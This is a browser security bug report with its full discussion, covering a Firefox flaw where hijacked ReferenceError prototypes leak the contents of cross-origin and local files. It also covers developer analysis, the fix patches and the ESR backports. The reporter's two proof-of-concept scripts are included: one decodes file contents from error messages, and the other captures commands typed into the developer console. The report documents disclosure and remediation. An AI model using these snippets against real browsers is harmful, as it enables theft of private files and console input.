1960745 - Intercepting console errors might lead to XSSI

Status: VERIFIED FIXED

(Core :: DOM: Core & HTML, defect)

Description

[terjanq]

Attachment: Firefox_XSSI.mp4

Steps to reproduce:

On the latest version of Firefox on Windows:

1. Host the following snippet on any website

<script>
  ReferenceError.prototype.__defineGetter__('name', function(){
    const variable = this.message.split(' is ')[0];
    let decoded = '';

    for(const u16 of [...variable]){
      const i = u16.charCodeAt(0);
      decoded += String.fromCharCode(i % 256);
      decoded += String.fromCharCode(i >> 8);
    }
    document.body.innerHTML += `LE: ${decoded}<br`;
  });
</script>

<h4>terjanq.me LE</h4>
<script charset=utf-16le src="https://terjanq.me/xss.php?html=My Password: P@ssw0rd137&ct=text/plain;x=%22&le"></script>

2. After running the snippet you should see the leaked contents of a cross-origin file

A similar attack can be done to leak contents of local files.

1. Add the following snippet to the snippet from the previous reproduction and host it somewhere on the disk, eg. on file:///D:/Downloads/exploit.html

<h4>file:///D:/secret.txt Little-Endian</h4> 
<script charset=utf-16le src=secret.txt?le></script>

2. Create a file in the location file:///D:/secret.txt with the following contents (no new lines):

My Password:a8f5f167f44f4964e6c998dee827110c

3. Go to: file:///D:/Downloads/exploit.html. You should see the exploit display:

file://secret.txt Little-Endian
LE: My Password:a8f5f167f44f4964e6c998dee827110c 

I attached the video showing the reproduction on my machine.

Actual results:

When a cross-origin script without charset is embedded it's possible to force UTF16 charset and observe ReferenceError errors that might leak contents of a file.

My suspicion is that it's because DevTools render those unsanitized errors but at the same time share Error prototype across website and console context.

This is not a univeral XSSI because it's limited to responses that when encoded as UTF-16LE or UTF-16BE are valid JavaScript identifiers.

Expected results:

It shouldn't be possible for a website to intercept errors from Developer Console.

Comment 1

[Andrew McCreight [:mccr8]]

I can reproduce this, using the local file variant. this.message inside the ReferenceError prototype thing is "祍倠獡睳牯㩤㡡㕦ㅦ㜶㑦昴㤴㐶㙥㥣㠹敤㡥㜲ㄱ挰 is not defined".

Another fun thing here is that if you have the browser console open the password message is included in the HTML of the page twice.

Comment 2

[Andrew McCreight [:mccr8]]

The ReferenceError is I assume being generated by the script src so I'll put this in DOM for now.

Comment 3

[Andrew McCreight [:mccr8]]

Arai, do you know if there's some mechanism that is supposed to sanitize these kinds of error messages for cross-origin loaded scripts? Thanks.

Comment 4

[Andrew McCreight [:mccr8]]

This works in Chrome, too, but only when the JavaScript console is open.

Comment 5

[Tooru Fujisawa [:arai]]

There are 2 separate issues.

One is the error handling for the script execution, which converts the exception to an error report.
This could be solved with one of the following, if the script comes from different origin:

• (a) Disallow side-effects during the error reporting, in AutoJSAPI::ReportException, so that the modification in the main global cannot interact with the error details
• (b) Use unmodified prototype chain from newly-created realm, so that the modification in the main global doesn't affect the error object
• (c) Remove the error message, so that the information doesn't leak to the main global

The other is caused by DevTools error reporting, which converts the error object to string.
If we take (b) or (c) above, this part is also solved automatically.
If we take (a), similar workaround is necessary here.
So, (b) or (c) would be safer.

(b) requires a new realm, and this will be problematic in term of complexity, performance, and memory consumption.

(c) is the simplest solution, but if there's any JS code or library that tries to check error messages, they may break.
Historically there had been multiple cases where modifying the error message caused compat issue.
So, even if we go this way, we need to make sure the affected case is minimized.

Details below:

The first issue is happening in the following place,
where the script evaluation fails and it's trying to convert the exception to an error report, with side effects allowed:

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/dom/script/ScriptLoader.cpp#3226-3227,3229

nsresult ScriptLoader::EvaluateScript(nsIGlobalObject* aGlobalObject,
                                      ScriptLoadRequest* aRequest) {
...
  AutoEntryScript aes(aGlobalObject, "EvaluateScript", true);

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/dom/script/AutoEntryScript.h#37

class MOZ_STACK_CLASS AutoEntryScript : public AutoJSAPI {

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/dom/script/ScriptSettings.cpp#276,286

AutoJSAPI::~AutoJSAPI() {
...
  ReportException();

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/dom/script/ScriptSettings.cpp#487,521

void AutoJSAPI::ReportException() {
...
      jsReport.init(cx(), exnStack, JS::ErrorReportBuilder::WithSideEffects)) {

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/js/src/jsexn.cpp#487-489,505

bool JS::ErrorReportBuilder::init(JSContext* cx,
                                  const JS::ExceptionStack& exnStack,
                                  SniffingBehavior sniffingBehavior) {
...
    str = ErrorReportToString(cx, exnObject, reportp, sniffingBehavior);

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/js/src/jsexn.cpp#441-443,448

static JSString* ErrorReportToString(JSContext* cx, HandleObject exn,
                                     JSErrorReport* reportp,
                                     SniffingBehavior behavior) {
...
  if (GetPropertyNoException(cx, exn, behavior, cx->names().name, &nameV) &&

or maybe

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/js/src/jsexn.cpp#487-489,533-534,539

bool JS::ErrorReportBuilder::init(JSContext* cx,
                                  const JS::ExceptionStack& exnStack,
                                  SniffingBehavior sniffingBehavior) {
...
  if (!reportp && exnObject && sniffingBehavior == WithSideEffects &&
      IsDuckTypedErrorObject(cx, exnObject, &filename_str)) {
...
    if (JS_GetProperty(cx, exnObject, "name", &val) && val.isString()) {

And the second issue is happening in the following place,
where the DevTools console is trying to stringify the error:

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/devtools/server/actors/webconsole.js#857,907-913

class WebConsoleActor extends Actor {
  ...
  evaluateJS(request) {
    ...
          const result = this.prepareEvaluationResult(
            evalInfo,
            input,
            request.eager,
            mapped,
            request.evalInTracer
          );

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/devtools/server/actors/webconsole.js#923,972-975

class WebConsoleActor extends Actor {
  ...
  prepareEvaluationResult(evalInfo, input, eager, mapped, evalInTracer) {
    ...
            errorMessage = DevToolsUtils.callPropertyOnObject(
              error,
              "toString"
            );

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/devtools/shared/DevToolsUtils.js#951,977

function callPropertyOnObject(object, name, ...args) {
...
  const result = value.call(object, ...args);

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/js/src/builtin/Error.js#6,14

function ErrorToString() {
...
  var name = obj.name;

Comment 6

[Tooru Fujisawa [:arai]]

Forgot to answer the question about sanitization.

There's "isMuted" property for the report, which comes from the compile options:

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/dom/script/ScriptLoader.cpp#2617,2621-2622

if (aRequest->mOriginPrincipal) {
...
  bool subsumes = scriptPrin->Subsumes(aRequest->mOriginPrincipal);
  aOptions->setMutedErrors(!subsumes);

the flag is used for example in the following:

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/dom/base/nsJSEnvironment.cpp#345,350-354

if (!mReport->mIsMuted) {
...
} else {
  NS_WARNING("Not same origin error!");
  init.mMessage = xoriginMsg;
  init.mLineno = 0;
}

The behavior difference can be observed by listening to window.onerror event.

The flag is not used for the testcase's scenario, and we'll need to introduce similar thing.

Comment 7

[Tooru Fujisawa [:arai]]

A variant of (a) could be done by making the following property accesses conditional on reportp->isMuted,
so that the getters aren't called for cross-origin case.

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/js/src/jsexn.cpp#441-448,466-467

static JSString* ErrorReportToString(JSContext* cx, HandleObject exn,
                                     JSErrorReport* reportp,
                                     SniffingBehavior behavior) {
  // The error object might have custom `name` overwriting the exnType in the
  // error report. Try getting that property and use the exnType as a fallback.
  RootedString name(cx);
  RootedValue nameV(cx);
  if (GetPropertyNoException(cx, exn, behavior, cx->names().name, &nameV) &&
...
  if (GetPropertyNoException(cx, exn, behavior, cx->names().message,
                             &messageV) &&

Then, for DevTools, other possible options are:

• (d) for muted errors, sanitize the exception value before dispatching the error event (the then-clause below)
• (e) for muted errors, do not dispatch error event, but just log the error (the else-clause below)

(d) is moving the filtering in the ScriptErrorEvent::Run earlier, with hiding the error details from more cases.

(e) is just hiding the error from web contents, but this might be not-spec-compliant.

https://searchfox.org/mozilla-central/rev/2c71f1e9b5947612abdc16b64008162c58c1b9d3/dom/script/ScriptSettings.cpp#544-558

if (inner && jsReport.report()->errorNumber != JSMSG_OUT_OF_MEMORY) {
  JS::RootingContext* rcx = JS::RootingContext::get(cx());
  DispatchScriptErrorEvent(inner, rcx, xpcReport, exnStack.exception(),
                           exnStack.stack());
} else {
  JS::Rooted<JSObject*> stack(cx());
  JS::Rooted<JSObject*> stackGlobal(cx());
  xpc::FindExceptionStackForConsoleReport(inner, exnStack.exception(),
                                          exnStack.stack(), &stack,
                                          &stackGlobal);
  // This error is not associated with a specific window,
  // so omit the exception value to mitigate potential leaks.
  xpcReport->LogToConsoleWithStack(inner, JS::NothingHandleValue, stack,
                                   stackGlobal);
}

I'll check how the spec defines the behavior around this.

Comment 8

[Daniel Veditz [:dveditz]]

This kind of attack is known and we've introduced several layers of defense, but we've been limited by backwards compatibility. For example:

• sites are encouraged to use x-content-type-options as an opt-in security measure to prevent HTML files from being accepted as a <script> source
• We've updated the MIMEsniff spec to outlaw image/, audio/, and video/* types, but we had to leave a lot of unfortunate defaults (text/plain, text/html) because getting stricter by default breaks the web

All that said, that doesn't mean that we throw up our hands. We do need to consider how much to sanitize the source context in specific errors, and are more verbose in devtools than in the event sent to the page. Sounds like this error could be one of those cases, and there might be others.

Going to call this sec-moderate because the pre-conditions seem narrow enough to not make this widely useful, but if you find the right victim site it could be VERY useful.

Comment 9

[terjanq]

Going to call this sec-moderate because the pre-conditions seem narrow enough to not make this widely useful, but if you find the right victim site it could be VERY useful.

All in all, I agree that the XSSI vector in itself might be quite limited in its usefulness on the Web. As you mentioned, most sensitive endpoints should either have X-Content-Sniffing response header or non-sniffable content-type or specified charset or simply not being a valid JavaScript after UTF-16 conversion. Historically, browsers have been fixing all of these issues, for example:

• https://www.mbsd.jp/Whitepaper/xssi.pdf from 2015 that talks about a similar attack which abused now sanitized window.onerror (also includes some research towards how likely it is for the response to be correctly encodable as UTF-16)
• https://web.archive.org/web/20170825021324/http://blog.innerht.ml/page/5 from 2016 that talks about now fixed XSSI through stylesheets with an injection point

However, what was not previously discussed (at least to my knowledge) is the impact against local files. These are most likely not protected by ORB/CORB and the exploit I presented breaks the boundaries of local files significantly - one local file should not be able to leak another local file. Additionally, I think the imact of the XSSI could be internal networks that don't necessarily have all the modern protections in place.

Having a step back from the XSSI vector, I believe that the core issue of my report is the prototype sharing between the website and DevTools and the XSSI is just proof of concept how bad it can get. I mostly focused my research on Chrome (which as you noticed is also vulnerable) in search for other error prototypes that could potentially be used to leak URLs after redirections that could for example contain sensitive tokens. I didn't look too deeply into Firefox.

Apart from potentially other sensitive information hidden in other Errors, there are also other issues coming from shared prototypes:

• A website can learn when the user opens DevTools which historically was treated as undesired behavior
• A website can can learn what a user is typing in the console through Error messages, see the snippet that will leak keywords typed in the console (try for example typing this_should_be_secret!!!).

<pre id=log></pre>
<script>
  const errors = [ "Error", "InternalError", "AggregateError", "EvalError", "RangeError", "ReferenceError", "SyntaxError", "TypeError", "URIError" ];
  errors.forEach(e => {
    try {
      window[e].prototype.__defineGetter__('name', function () {
        log.append(e + ': ' + this.message + '\n');
      })
    } catch (e) { }
  });
</script>

I am quite convinced that these two issues might be abused widely if known publicly. What also makes it quite impactful is that it doesn't need any user interaction as opposed to similar set of issues in Chrome.

And last comment regarding to:

This kind of attack is known

I could agree that the attack itself is kind of known (as shown in the two articles above) but these attacks have been fully or almost fully fixed by the browsers and I personally haven't seen any practical XSSI that do not require any injection point on the targeted resource.

Comment 10

[Tooru Fujisawa [:arai]]

The corresponding part of the spec is the following.

So, the "muted" is indeed for the cross-origin case,
and it's used for hiding the details from onerror event etc.

https://html.spec.whatwg.org/#script-structs

A *script* is one of two possible *structs*
(namely, a *classic script* or a *module script*).
All scripts have:

  ...
  A _muted errors_ boolean
    A boolean which, if true, means that error information will not be provided
    for errors in this script. This is used to mute errors for cross-origin
    scripts, since that can leak private information.

https://html.spec.whatwg.org/#execute-the-script-element

To *execute the script element* given
a *script element* _el_:

  ...
  6. Switch on _el's_ *type*:
    => "classic"
      ...
      3. *Run the classic script* given by _el_'s *result*.

https://html.spec.whatwg.org/#run-a-classic-script

To *run a classic script* given
a *classic script* _script_ and
an optional boolean _rethrow errors_ (default false):

  ...
  7. Otherwise,
     set _evaluationStatus_ to *ScriptEvaluation*(_script_'s *record*).
     ...
  8. If _evaluationStatus_ is an *abrupt completion*, then:
    1. If _rethrow errors_ is true and _script_'s *muted errors* is false, then:
      ...
    2. If _rethrow errors_ is true and _script_'s *muted errors* is true, then:
      ...
    3. Otherwise, _rethrow errors_ is false. Perform the following steps:
      1. *Report an exception* given by _evaluationStatus_.[[Value]] for
         _script_'s *settings object*'s *global object*.
      ...
      3. Return _evaluationStatus_.

One thing not-much-specified is the step 7.3 below, for developer console.
This is passing raw exception value, instead of the errorInfo which is sanitized in the step 4 below.
So this part is not talking anything about the muted errors, and it sounds like up to the developer console implementation how to handle it and how to hide the details.

https://html.spec.whatwg.org/#report-an-exception

To *report an exception* _exception_ which is a JavaScript value,
for a particular global object _global_ and
optional boolean _omitError_ (default false):

  ...
  2. Let _errorInfo_ be the result of *extracting error information* from
     _exception_.
  ...
  4. If _script_ is a classic script and _script_'s *muted errors* is true, then
       set _errorInfo_[error] to null,
           _errorInfo_[message] to "Script error.",
           _errorInfo_[filename] to the empty string,
           _errorInfo_[lineno] to 0, and
           _errorInfo_[colno] to 0.
  ...
  6. If _global_ is not *in error reporting mode*, then:
    1. Set _global_'s *in error reporting mode* to true.
    2. If _global_ implements EventTarget, then
       set _notHandled_ to the result of *firing an event* named error
       at _global_, using ErrorEvent, with
       the cancelable attribute initialized to true, and
       additional attributes initialized according to _errorInfo_.
    3. Set _global_'s in *error reporting* mode to false.
  7. If _notHandled_ is true, then:
    ...
    2. If *global* implements DedicatedWorkerGlobalScope, ...:
      ...
    3. Otherwise, the user agent may report _exception_ to a developer console.

Other than the developer console, the raw exception value doesn't leak to
anywhere for muted case.

So, at least the error reporting logic should use the "muted error" flag
to hide the details from the monkey-patched Error prototypes.
(The fix in the comment #7)

Comment 11

[Tooru Fujisawa [:arai]]

Okay, here's the plan:

• For error reporting inside SpiderMonkey, stop performing side-effectful operations for muted errors
• For DevTools, introduce Debugger.Object.isMutedError getter, and use it inside the Error previewer (previewers.js), to avoid performing side-effectul operations for muted errors

Comment 12

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 1: Do not perform side-effectful operations while converting muted errors into error reports. r?bthrall!

Comment 13

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 2: Add Debugger.Object.isMutedError. r?bthrall!

Comment 14

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 3: Do not perform side-effectful operations while creating preview for muted errors. r?nchevobbe!

Comment 15

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 4: Add test. r?nchevobbe!,bthrall!

Comment 16

[Tooru Fujisawa [:arai]]

Given this behavior (at least inside SpiderMonkey) has been there for long time, setting the status for all versions.

Comment 17

[Tooru Fujisawa [:arai]]

I'm going to land the implementation patch (parts 1-3) as a first step, and then land the test (part 4) after the uplift.

Given that this is sec-moderate, I'll land the patches without sec-approval.

Comment 18

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/3689632b26d7
Part 1: Do not perform side-effectful operations while converting muted errors into error reports. r=bthrall
https://hg.mozilla.org/integration/autoland/rev/ec18b8051fe8
Part 2: Add Debugger.Object.isMutedError. r=bthrall
https://hg.mozilla.org/integration/autoland/rev/daab2f085f42
Part 3: Do not perform side-effectful operations while creating preview for muted errors. r=nchevobbe,devtools-reviewers

Comment 19

[Pulsebot]

Backout by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/1ff88c328c3a
Backed out 3 changesets for causing failures at browser_webconsole_stubs_evaluation_result.js. CLOSED TREE

Comment 20

[Atila Butkovits]

Backed out for causing failures at browser_webconsole_stubs_evaluation_result.js.

Backout link: https://hg-edge.mozilla.org/integration/autoland/rev/1ff88c328c3af36d33512fad98caf4af367c182a

Push where failures started: https://treeherder.mozilla.org/jobs?repo=autoland&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel&revision=daab2f085f42a97c3da347e397d51251512d3682&selectedTaskRun=WaFNF8YOTg6UIbOh2sE7vQ.0

Failure log: https://treeherder.mozilla.org/logviewer?job_id=505097886&repo=autoland&lineNumber=25710

Comment 21

[Tooru Fujisawa [:arai]]

I assume the failure comes from the fact that the console input is compiled with mute-error, and that's affecting the behavior.
The existing testcases could be modified just to accept the new behavior, and we could optionally add another testcase that uses the content's script for throwing custom error and checking the behavior.

Comment 22

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 3.1: Update stub. r?nchevobbe!

Comment 23

[Tooru Fujisawa [:arai]]

Update from the patch.
My analysis was wrong, and the issue was caused by eagerly creating error report inside the isMutedError getter.
The behavior was unnecessary anyway (because such report can never be muted), so removed the behavior.

Comment 24

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/4611c258ff1e
Part 1: Do not perform side-effectful operations while converting muted errors into error reports. r=bthrall
https://hg.mozilla.org/integration/autoland/rev/e0ce173fe96c
Part 2: Add Debugger.Object.isMutedError. r=bthrall
https://hg.mozilla.org/integration/autoland/rev/a6cd12c9e543
Part 3: Do not perform side-effectful operations while creating preview for muted errors. r=nchevobbe,devtools-reviewers

Comment 25

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/4611c258ff1e
https://hg.mozilla.org/mozilla-central/rev/e0ce173fe96c
https://hg.mozilla.org/mozilla-central/rev/a6cd12c9e543

Comment 26

[Daniel Veditz [:dveditz]]

Attachment: first testcase from comment 0

Comment 27

[Daniel Veditz [:dveditz]]

Attachment: testcase from comment 9: keylogs 1st token of every console command

Comment 28

[Daniel Veditz [:dveditz]]

Would it be hard or risky to backport this to 115?

Comment 29

[Daniel Veditz [:dveditz]]

(In reply to terjanq from comment #9)

However, what was not previously discussed (at least to my knowledge) is the impact against local files. These are most likely not protected by ORB/CORB and the exploit I presented breaks the boundaries of local files significantly - one local file should not be able to leak another local file.

It does seem like we don't apply ORB protection to local files, and don't do any MIME sniffing or map well-known extensions to equivalent MIME types. But most files generate a Syntax Error which isn't particularly informative.

One local file should not be able to leak another, but a web file shouldn't be able to leak one from another origin either and that's what you've demonstrated here! Other than the missing ORB protection I don't see how that makes this attack "significantly" worse against local files, though it is a bit more powerful.

What also makes it quite impactful is that it doesn't need any user interaction

Agreed!

Comment 30

[Tooru Fujisawa [:arai]]

Attached file testcase from comment 9: keylogs 1st token of every console command

This is different issue, and not addressed by the attached patch.
I'll look into it in separate bug.

(In reply to Daniel Veditz [:dveditz] from comment #28)

Would it be hard or risky to backport this to 115?

The same patch stack is applicable to 128,
and almost same patch stack is applicable to 115, with minor rebase for surrounding context.

The risk is low, given it's less likely the website is listening to cross-origin errors with the demonstrated way for important functionality,
and the existing testcases should cover normal use case.
The newly added testcase is not landed, but I've confirmed the fix for the comment #0 case and also with the testcase.

I'll post uplift request shortly

Comment 31

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 1: Do not perform side-effectful operations while converting muted errors into error reports. r?bthrall!

Original Revision: https://phabricator.services.mozilla.com/D246071

Comment 32

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 2: Add Debugger.Object.isMutedError. r?bthrall!

Original Revision: https://phabricator.services.mozilla.com/D246072

Comment 33

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 3: Do not perform side-effectful operations while creating preview for muted errors. r?nchevobbe!

Original Revision: https://phabricator.services.mozilla.com/D246073

Comment 34

[Phabricator Automation]

esr128 Uplift Approval Request

• User impact if declined: Possible leak of cross-origin file content
• Code covered by automated testing: no
• Fix verified in Nightly: yes
• Needs manual QE test: yes
• Steps to reproduce for manual QE testing: Open https://bug1960745.bmoattachments.org/attachment.cgi?id=9480754&t=r4sS67vmmMMsSq6Q61ZDQn and verify nothing is logged
• Risk associated with taking this patch: low
• Explanation of risk level: This removes the unnecessary and unexpected method invocation for the web content script, which won't be used in normal functionality
• String changes made/needed: none
• Is Android affected?: yes

Comment 35

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 1: Do not perform side-effectful operations while converting muted errors into error reports. r?bthrall!

Original Revision: https://phabricator.services.mozilla.com/D246071

Comment 36

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 2: Add Debugger.Object.isMutedError. r?bthrall!

Original Revision: https://phabricator.services.mozilla.com/D246072

Comment 37

[Tooru Fujisawa [:arai]]

Attachment: Bug 1960745 - Part 3: Do not perform side-effectful operations while creating preview for muted errors. r?nchevobbe!

Original Revision: https://phabricator.services.mozilla.com/D246073

Comment 38

[Phabricator Automation]

esr115 Uplift Approval Request

• User impact if declined: Possible leak of cross-origin file content
• Code covered by automated testing: no
• Fix verified in Nightly: yes
• Needs manual QE test: yes
• Steps to reproduce for manual QE testing: Open https://bug1960745.bmoattachments.org/attachment.cgi?id=9480754&t=r4sS67vmmMMsSq6Q61ZDQn and verify nothing is logged
• Risk associated with taking this patch: low
• Explanation of risk level: This removes the unnecessary and unexpected method invocation for the web content script, which won't be used in normal functionality
• String changes made/needed: none
• Is Android affected?: no

Comment 39

[Daniel Bodea [:danibodea]]

I can reproduce this issue in Beta v138.0b9, RC v138.0 and Nightly v139.0a1 from 2025-04-08. I can verify this fix in Nightly v139.0a1 from 2025-04-23.
Testing has been performed on Windows 10, MacOS 14 ARM and Ubuntu 24.04 ARM.

Will be verified on ESR when it lands.

Comment 40

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr128/rev/fe8425305133
https://hg.mozilla.org/releases/mozilla-esr128/rev/40cc7892ebce
https://hg.mozilla.org/releases/mozilla-esr128/rev/e4912f29b11b

Comment 41

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr115/rev/4ef90ebe25f8
https://hg.mozilla.org/releases/mozilla-esr115/rev/8ae9860e9b7f
https://hg.mozilla.org/releases/mozilla-esr115/rev/606f0b9fca98

Comment 42

[Daniel Bodea [:danibodea]]

I can still reproduce this issue in the latest live ESR v128.10.0esr.

The fix is confirmed on the latest pushlog of mozilla-esr128 from treeherder, ESR v128.11.0esr and on the latest pushlog of mozilla-esr115 from treeherder, ESR v115.24.0esr.

The credentials are no longer displayed in web content when using the specific minimal test case, in Windows 10, MacOS 11 and Ubuntu 22.

Comment 43

[Jesse Schwartzentruber (:truber)]

Attachment: advisory.txt

Comment 44

[Jesse Schwartzentruber (:truber)]

Attachment: advisory.txt

Comment 45

[terjanq]

Hi Jesse!

What is the expected time of the advisory to be published? Could it possible to make the advisory a little more vague (not to mention file leaks)? Also for the bug visibility, can we make sure that the bug is not disclosed to public before 30th of June?

Comment 46

[Andrew McCreight [:mccr8]]

You should needinfo somebody to increase the chance that your comment is seen. I'll add a whiteboard tag about June 30th. I assume you just mean the bug itself.

Comment 47

[terjanq]

Yes, I meant to bug itself.

You should needinfo somebody

Thanks for the tip, will remember for the next time.

Comment 48

[Jesse Schwartzentruber (:truber)]

(In reply to terjanq from comment #45)

Hi Jesse!

What is the expected time of the advisory to be published? Could it possible to make the advisory a little more vague (not to mention file leaks)? Also for the bug visibility, can we make sure that the bug is not disclosed to public before 30th of June?

Advisories are expected to be released tomorrow. What is the reason for the change in wording?

Comment 49

[terjanq]

What is the reason for the change in wording?

It affects Chromium as there is no fix yet, but I also wanted to make a challenge about it.

Comment 50

[Jesse Schwartzentruber (:truber)]

Attachment: advisory.txt